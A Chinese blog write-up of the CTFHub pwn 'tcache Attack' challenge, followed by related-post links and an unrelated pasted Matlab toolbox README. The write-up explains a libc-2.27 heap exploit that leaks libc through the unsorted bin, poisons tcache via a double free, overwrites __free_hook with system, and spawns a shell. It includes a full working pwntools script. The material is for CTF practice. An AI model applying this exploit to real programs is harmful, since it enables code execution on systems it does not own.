[CTFHub]-技能树----pwn tcache Attack

CTFHUB技能树——Pwn前置技能学习 汇编指令讲解 阅读详情

目前只有我一人解出来,估计是其他大佬不屑于做这样简单的题吧!
长话短说,做堆类题一定要亲自动手调试!!!调试!!!调试!!!,重要的事情说三遍。

难度

入门级别,很简单

解析

题目给了libc版本,是libc_2.27。
首先先创建7个0x80的chunk,然后把他们free掉,使他们进入tcache bins,然后再创建一个0x80大小的chunk释放掉,使其进入unsorted bins,因为本题free掉chunk后并没有置0,所以纯在UAF和double free。然后可以通过show函数泄露unsorted bins中的地址计算libc基地址,在通过double free漏洞改__free_hooke的值为system的值,最后拿到shell。

标题最终exp

from pwn import *
from LibcSearcher import *

context(log_level='debug',arch='amd64', os='linux')
pwnfile = "./chunk1"
io = remote("challenge-c1de9e72dce05941.sandbox.ctfhub.com",28689)
#io = process(pwnfile)
elf = ELF(pwnfile)
libc = ELF("./libc-2.27_64.so")

def add(idx,size,data):
	io.recvuntil(b"Your choice: ")
	io.sendline(b"1")
	io.recvuntil(b"Give me a book ID: ")
	io.sendline(str(idx))
	io.recvuntil(b"how long: ")
	io.sendline(str(size))
	io.recvuntil(b"Content: ")
	io.send(data)

def show(idx):
	io.recvuntil(b"Your choice: ")
	io.sendline(b"2")
	io.recvuntil(b"Which book do you want to show?")
	io.sendline(str(idx))
	

def free(idx):
	io.recvuntil(b"Your choice: ")
	io.sendline(b"3")
	io.recvuntil(b"Which one to throw?")
	io.sendline(str(idx))

for i in range(7):
	add(i,0x80,b"aaaa")

add(7,0x80,b"aaaa")
add(8,0x90,b"/bin/sh\x00")
for i in range(8):
	free(i)

show(7)
io.recvuntil(b"Content: ")
libc_addr = u64(io.recv(6).ljust(8,b"\x00"))-96-0x10-libc.sym['__malloc_hook']
free_hook = libc_addr+libc.sym['__free_hook']
system_addr = libc_addr+libc.sym['system']
print(b"libc_addr-------------->: ",hex(libc_addr))
print(b"free_hook-------------->:",hex(free_hook))
for i in range(6):
	add(6-i,0x80,b"aaaa")

free(0)
add(0,0x80,p64(free_hook))
add(9,0x80,b"aaaa")
add(10,0x80,p64(system_addr))
free(8)


io.interactive()
CTFHub技能树---pwn-Chunk Extend add这里如果 index 0 ~ 9 都申请了的 chunk ,那么 i = 10 再退出 for 循环,但是还会接下去利用 ptr[10] = malloc(ptr[20]) 申请chunk,实现 index 0 的堆块溢出。最后第11个chunk的size会变成非常大,编辑chunk0,就可以实现溢出。也就是add 可以覆盖掉一个第一个 chunk 的 size。 阅读详情

相关推荐

星盟-pwn-heap2 (tcache attack,house of orange)

通过unsorted-bin泄露出libc_base 通过tcache attack申请到malloc_hook的地址 改写为one_gadget

qq_65147345的博客 1458

CTFHub[PWN技能树]——栈溢出

文章目录一、ret2text二、ret2shellcode 一、ret2text 例行检查,64位程序,没有开启任何保护 本地运行一下情况,看看大概的情况 64位ida载入,检索程序里的字符串发现了bin/sh 要满足条件才可以执行,但是我们可以直接跳转到0x4007B8去system(‘/bin/sh’) 看main函数 第8行,gets函数读入没有限制数据的长度,明显的溢出,溢出ret到执行system(‘/bin/sh’)的地址即可 from pwn import * #p=proc

mcmuyanga的博客 3309

CTF技能体系构建:从解题到内功的四维训练法

在网络安全领域,漏洞原理的深度理解是构建实战能力的基石。它要求从业者超越工具使用层面,深入探究技术机制,例如理解SQL注入中数据库的解析逻辑或反序列化漏洞的触发链构造。这种深度认知的价值在于,它能帮助安全人员在面对未知威胁和复杂过滤规则时,具备独立分析与手工构造利用链的能力,从而有效应对真实世界的攻防对抗。在CTF竞赛和实战渗透测试等应用场景中,这种能力尤为关键。本文围绕CTFskill项目,系统阐述了如何通过信息搜集、漏洞原理、编程自动化及知识串联这四维能力模型,将零散的安全知识点整合为可迁移的解题思维与

tang_zongyun的博客 511

CTFHub技能树-----pwn off by null

【代码】CTFHub技能树-----pwn off by null。

saulgoodman的博客 422

pwn 堆入门之tcache

目录ciscn_final_3ciscn_2019_es_1 ciscn_final_3 #!/usr/bin/env python3 # coding=utf-8 from pwn import * arch = "amd64" filename = "ciscn_final_3" context(os="linux", arch=arch, log_level="debug") content = 0 offset = 0 # elf elf = ELF(filename) # libc l

清霂的博客 740

【PWN】Fastbin 与 Tcache 的利用

从本周开始,针对ctfwiki的顺序,整理堆的攻击方式,顺便练一下手。克服惰性与抗拒,才能继续进步。 首先是为何把fastbin和tcache放第一个整理,因为fastbin和tcache是所有后续攻击的基础,为了实现写入“任意”地址,通常情况下都是利用fastbin和tcache,有个明显的原因就是fastbin和tcache都采用单链表结构,结构更加简单,简单也意味着缺少复杂的检测,更加利于我们去利用。其次,为何把它俩放一起,原因还是两者的结构相似,地位相近,但细节上有不同,放在一起对比利用。 再说

u014377094的博客 1526

CTFhub 技能树 PWN ret2text Python3 exp

题目链接:https://www.ctfhub.com -> 技能树 -> PWN -> 栈溢出 -> ret2text WP:https://writeup.ctfhub.com/Skill/Pwn/%E6%A0%88%E6%BA%A2%E5%87%BA/eeca3548.html 搜exp的时候发现已经有人写过WP了,于是就Cirl+CV,发现原程序是用Python2写的,我的pwntools环境是Python3,因此程序需要稍作修改。 from pwn import * h

break_cat的博客 1354

各种加法器的比对分析与Verilog实现(3)

了Kogge-Stone加法器和brent-kung加法器,本文将用Verilog代码进行实现。

Albert_yeager的博客 1198

[CTFhub]pwn技能树ret2shellcode

摘要:这篇文章介绍了CTF中ret2shellcode漏洞利用方法。题目分析显示程序没有开启任何保护,存在栈溢出漏洞且会泄露buf地址。解题思路是通过构造shellcode并覆写返回地址来获取shell权限。文章提供了完整的Python利用脚本,利用pwntools工具生成shellcode并计算正确地址,最终成功获取flag。关键词:CTF、pwn、ret2shellcode、栈溢出、shellcode。

2504_90965412的博客 375

horizon之为connection服务器配置证书

打开connection1服务器(connection2 同connection1)再输入connection1的IP地址 可通过域名和IP地址进行登录。这时候用域名登录就发现证书已经没有警告了。win+R 调出“运行”,输入mmc。connection2 同上。如果还有报错请重启一下服务器。打开connection1。可以把这个先删掉 没用。打开DC_01服务器。右键选择证书颁发机构。友好名称只能是vdm。重启之后就没有报错了。

送个祝福给小豪的博客 2960

【COMSOL超材料和超表面仿真设计】

超材料和超表面的设计通常需要自定义材料属性。在COMSOL中,可以通过定义介电常数和磁导率的张量来模拟超材料的特性。对于超表面,通常需要定义表面阻抗或等效电路模型。

weixin_51101456的博客 1665

【CTFHUB-WriteUp】pwn技能树-栈溢出-Ret2VDSO

ops

qq_39933891的博客 1719

反应动力学仿真软件:Kintecus_(11).数据输入与输出解析

在反应动力学仿真软件的二次开发中,数据输入与输出解析是至关重要的步骤。正确地解析输入数据和生成输出结果不仅能够确保仿真过程的顺利进行,还可以提高仿真的准确性和效率。本节将详细介绍如何在仿真软件中实现数据输入与输出的解析,包括文件格式、数据结构、解析方法以及实际操作示例。

kkchenjj的博客 757

CTF-PWN-callme32 [ROP+栈溢出]

首先发现在pwnme函数中有一个明显的缓冲区溢出,长度为40,经调试发现填入44长度的垃圾信息即可填入shellcode ida发现一个重要函数如下: 点入后发现这三个函数为系统级调用。正好题目给了我们一个.so文件。进入查看,发现有这三个函数的反编译。依次是将加密后的flag通过key1,key2解密。调用顺序应该是callme_one -> callme_two -> c...

SuperGate的博客 1180

QProgressBar:常用接口、样式表及自定义进度条实现

在Qt开发中,QProgressBar 是一个非常常用的控件,用于显示任务的进度。无论是文件下载、数据处理还是其他耗时操作,QProgressBar 都能直观地展示当前进度。本文将详细介绍QProgressBar 的使用方法,包括常用接口、样式表设置,并额外补充一个自定义进度条的C++实现。

u011186532的专栏 1012

把业务变化变成实时流动:SAP Event Mesh 的概念、能力与落地方法

SAP Event Mesh 是 SAP BTP 上的云消息与事件服务,通过异步事件通信实现系统解耦。核心功能包括:1)提供Topic(广播)和Queue(持久化)两种消息模式;2)支持AMQP、MQTT、REST等多种协议接入;3)作为SAP生态的事件枢纽,可与SAP Integration Suite、CAP框架等无缝集成。典型应用场景:S/4HANA业务事件驱动流程、微服务扩展、IoT设备数据上云等。相比同步调用,它能显著提升系统弹性,避免雪崩故障,特别适合需要实时性与松耦合的企业级集成。高级版本(A

2007 年 ~ 2025 年,深耕 SAP 技术 18 年 250

linux_pwn(6)--tcache&&double free&&ciscn_2019_final_3

文章目录What is tcachepwn题例题检查代码分析add函数delete函数准备框架attack修改大小为unsorted bin范围free成unsorted bin难点,怎么泄露libcdouble free free_hook总结 What is tcache tcache是libc2.26之后引进的一种新机制,类似于fastbin一样的东西,每条链上最多可以有 7 个 chunk,free的时候当tcache满了才放入fastbin,unsorted bin,malloc的时候优先去tca

azraelxuemo的博客 1801

uniapp(全端兼容) - 实现点击输入框时完美顶起键盘,获取键盘高度动态计算顶起距离,解决软键盘弹出时输入框被覆盖问题,uniapp微信小程序/移动端h5网页/安卓苹果app(示例代码,一键复制

uniapp,支付宝微信小程序,移动端H5网页网站,软键盘弹出位置不对,软键盘挡住了输入框怎么办,获取键盘高度计算弹出距离,uniapp如何解决输入框input激活后键盘弹出遮挡问题,uniapp输入框偶尔被键盘遮挡,解决uniapp在App环境下输入框被软键盘遮挡的问题,uniapp 完美解决苹果和安卓input框遮挡兼容问题,uniapp输入框拉起软键盘时,输入框显示不全,被软键盘挡住一半,input被键盘遮挡的解决方案,软键盘遮挡输入框,uniapp软键盘顶不起来输入框,输入框没有被软键盘弹出来怎么办

✅ 精选推荐文章 1万+

LCTF2018 PWN easy_heap学习(以及tcache基础认识)

适合于广大像我一样的pwn爱好者

a2590035252的博客 763

镜头像差之五——场曲

什么是场曲? 场曲[curvature of field] 物面上所有的点经过系统后,最佳焦点位置不在同一平面上,若这些像点所成的面为曲面,则称为系统有场曲。 与物高二次方、入射光瞳口径一次方成正比的像差。若仅存在场曲,则所有物平面上的点都有相应的像点,但分布在一个球面上;若采用弯成此种形状的底片,则可获得处处清晰的像。此时在理想像平面上,像点呈现为圆斑。 第一张图是最简单也是最容易理解的场曲,也就是对焦点锐利,其余部分逐渐松散,但实际上大多现代镜头的场曲都呈现为图二的形态:对焦点与边缘锐度.

camerall 1万+

深度学习工具包 DeepLearningToolbox

深度学习工具包Deprecation notice.-----This toolbox is outdated and no longer maintained.There are much better tools available for deep learning than this toolbox, e.g. [Theano](http://deeplearning.net/software/theano/), [torch](http://torch.ch/) or [tensorflow](http://www.tensorflow.org/)I would suggest you use one of the tools mentioned above rather than use this toolbox.Best, Rasmus.DeepLearnToolbox================A Matlab toolbox for Deep Learning.Deep Learning is a new subfield of machine learning that focuses on learning deep hierarchical models of data.It is inspired by the human brain's apparent deep (layered, hierarchical) architecture.A good overview of the theory of Deep Learning theory is[Learning Deep Architectures for AI](http://www.iro.umontreal.ca/~bengioy/papers/ftml_book.pdf)For a more informal introduction, see the following videos by Geoffrey Hinton and Andrew Ng.* [The Next Generation of Neural Networks](http://www.youtube.com/watch?v=AyzOUbkUf3M) (Hinton, 2007)* [Recent Developments in Deep Learning](http://www.youtube.com/watch?v=VdIURAu1-aU) (Hinton, 2010)* [Unsupervised Feature Learning and Deep Learning](http://www.youtube.com/watch?v=ZmNOAtZIgIk) (Ng, 2011)If you use this toolbox in your research please cite [Prediction as a candidate for learning deep hierarchical models of data](http://www2.imm.dtu.dk/pubdb/views/publication_details.php?id=6284)```@MASTERSTHESIS\{IMM2012-06284, author = "R. B. Palm", title = "Prediction as a candidate for learning deep hierarchical models of data", year = "2012",}```Contact: rasmusbergpalm at gmail dot comDirectories included in the toolbox-----------------------------------`NN/` - A library for Feedforward Backpropagation Neural Networks`CNN/` - A library for Convolutional Neural Networks`DBN/` - A library for Deep Belief Networks`SAE/` - A library for Stacked Auto-Encoders`CAE/` - A library for Convolutional Auto-Encoders`util/` - Utility functions used by the libraries`data/` - Data used by the examples`tests/` - unit tests to verify toolbox is workingFor references on each library check REFS.mdSetup-----1. Download.2. addpath(genpath('DeepLearnToolbox'));Example: Deep Belief Network---------------------```matlabfunction test_example_DBNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit RBM and visualize its weightsrand('state',0)dbn.sizes = [100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);figure; visualize(dbn.rbm{1}.W'); % Visualize the RBM weights%% ex2 train a 100-100 hidden unit DBN and use its weights to initialize a NNrand('state',0)%train dbndbn.sizes = [100 100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);%unfold dbn to nnnn = dbnunfoldtonn(dbn, 10);nn.activation_function = 'sigm';%train nnopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.10, 'Too big error');```Example: Stacked Auto-Encoders---------------------```matlabfunction test_example_SAEload mnist_uint8;train_x = double(train_x)/255;test_x = double(test_x)/255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit SDAE and use it to initialize a FFNN% Setup and train a stacked denoising autoencoder (SDAE)rand('state',0)sae = saesetup([784 100]);sae.ae{1}.activation_function = 'sigm';sae.ae{1}.learningRate = 1;sae.ae{1}.inputZeroMaskedFraction = 0.5;opts.numepochs = 1;opts.batchsize = 100;sae = saetrain(sae, train_x, opts);visualize(sae.ae{1}.W{1}(:,2:end)')% Use the SDAE to initialize a FFNNnn = nnsetup([784 100 10]);nn.activation_function = 'sigm';nn.learningRate = 1;nn.W{1} = sae.ae{1}.W{1};% Train the FFNNopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.16, 'Too big error');```Example: Convolutional Neural Nets---------------------```matlabfunction test_example_CNNload mnist_uint8;train_x = double(reshape(train_x',28,28,60000))/255;test_x = double(reshape(test_x',28,28,10000))/255;train_y = double(train_y');test_y = double(test_y');%% ex1 Train a 6c-2s-12c-2s Convolutional neural network %will run 1 epoch in about 200 second and get around 11% error. %With 100 epochs you'll get around 1.2% errorrand('state',0)cnn.layers = { struct('type', 'i') %input layer struct('type', 'c', 'outputmaps', 6, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %sub sampling layer struct('type', 'c', 'outputmaps', 12, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %subsampling layer};cnn = cnnsetup(cnn, train_x, train_y);opts.alpha = 1;opts.batchsize = 50;opts.numepochs = 1;cnn = cnntrain(cnn, train_x, train_y, opts);[er, bad] = cnntest(cnn, test_x, test_y);%plot mean squared errorfigure; plot(cnn.rL);assert(er<0.12, 'Too big error');```Example: Neural Networks---------------------```matlabfunction test_example_NNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);% normalize[train_x, mu, sigma] = zscore(train_x);test_x = normalize(test_x, mu, sigma);%% ex1 vanilla neural netrand('state',0)nn = nnsetup([784 100 10]);opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samples[nn, L] = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.08, 'Too big error');%% ex2 neural net with L2 weight decayrand('state',0)nn = nnsetup([784 100 10]);nn.weightPenaltyL2 = 1e-4; % L2 weight decayopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex3 neural net with dropoutrand('state',0)nn = nnsetup([784 100 10]);nn.dropoutFraction = 0.5; % Dropout fraction opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex4 neural net with sigmoid activation functionrand('state',0)nn = nnsetup([784 100 10]);nn.activation_function = 'sigm'; % Sigmoid activation functionnn.learningRate = 1; % Sigm require a lower learning rateopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex5 plotting functionalityrand('state',0)nn = nnsetup([784 20 10]);opts.numepochs = 5; % Number of full sweeps through datann.output = 'softmax'; % use softmax outputopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex6 neural net with sigmoid activation and plotting of validation and training error% split training data into training and validation datavx = train_x(1:10000,:);tx = train_x(10001:end,:);vy = train_y(1:10000,:);ty = train_y(10001:end,:);rand('state',0)nn = nnsetup([784 20 10]); nn.output = 'softmax'; % use softmax outputopts.numepochs = 5; % Number of full sweeps through dataopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, tx, ty, opts, vx, vy); % nntrain takes validation set as last two arguments (optionally)[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');```[![Bitdeli Badge](https://d2weczhvl823v0.cloudfront.net/rasmusbergpalm/deeplearntoolbox/trend.png)](https://bitdeli.com/free "Bitdeli Badge")

【我的 PWN 学习手札】劫持 tcache_perthread_struct

tcache 是 glibc 2.26 (ubuntu 17.10) 之后引入的一种技术,目的是提升堆管理的性能,与 fast bin 类似。tcache 引入了两个新的结构体, tcache_entry 和 tcache_perthread_struct。

Mr_Fmnwon的博客 896

假人有限元模型

假人模型,车辆碰撞假人有限元模型,适合做乘员安全的研究者利用

【我的 PWN 学习手札】tcache extend

tcache 在释放分配时,没有对 chunk 的 size 进行安全检查,导致可以利用溢出实现扩大的溢出写。能够结合 tcache poisoning 实现任意地址 malloc 进行攻击。

Mr_Fmnwon的博客 756

锂电池充电器电路设计 里面有电路

锂电池充电器电路设计 里面有电路 3.7V升压到5V电路设计。

ET2012新版免狗免安装绿色软件

ET2012新版免狗免安祖昂绿色软件。,新界面,新视觉,

PWN -Tcache attack 解析

在 PWN 技术的深入学习进程中,第 23 节聚焦于 Tcache attack,这是在堆内存管理机制相关漏洞利用领域中较为重要的一种攻击方式。Tcache(Thread - local caching)是 glibc 中引入的一种用于提高堆内存分配效率的机制,然而,不当的使用或存在的漏洞可能被攻击者利用,进而威胁系统安全。

m0_57836225的博客 760

[CTFHub-技能树]-----House of roman

先利用UAF漏洞,把chunk申请到ptr_size处,修改size的大小,构造堆溢出,利用堆溢出,打unlink,把chunk申请到ptr处,最后篡改**.fini_array**的值,拿到shell。如下图,可以看出来chunk已经申请到size处了,之后伪造size,造成堆溢出。会在程序结束时调用,一般有2个指针,会依次调用,调用完后才会真正退出。这是一道静态编译的题,没有libc库,所以不能用常规的方法来打。之后再利用堆溢出,打unlink,篡改.fini_array。先定义好要用到的地址。

saulgoodman的博客 334
上一篇: BUUCTF刷题记录---ciscn_2019_es_1
下一篇: CTFHub技能树-----pwn off by null
saulgoodman-q
博客等级 码龄6年 828粉丝 52原创
评论 2
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

saulgoodman-q

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值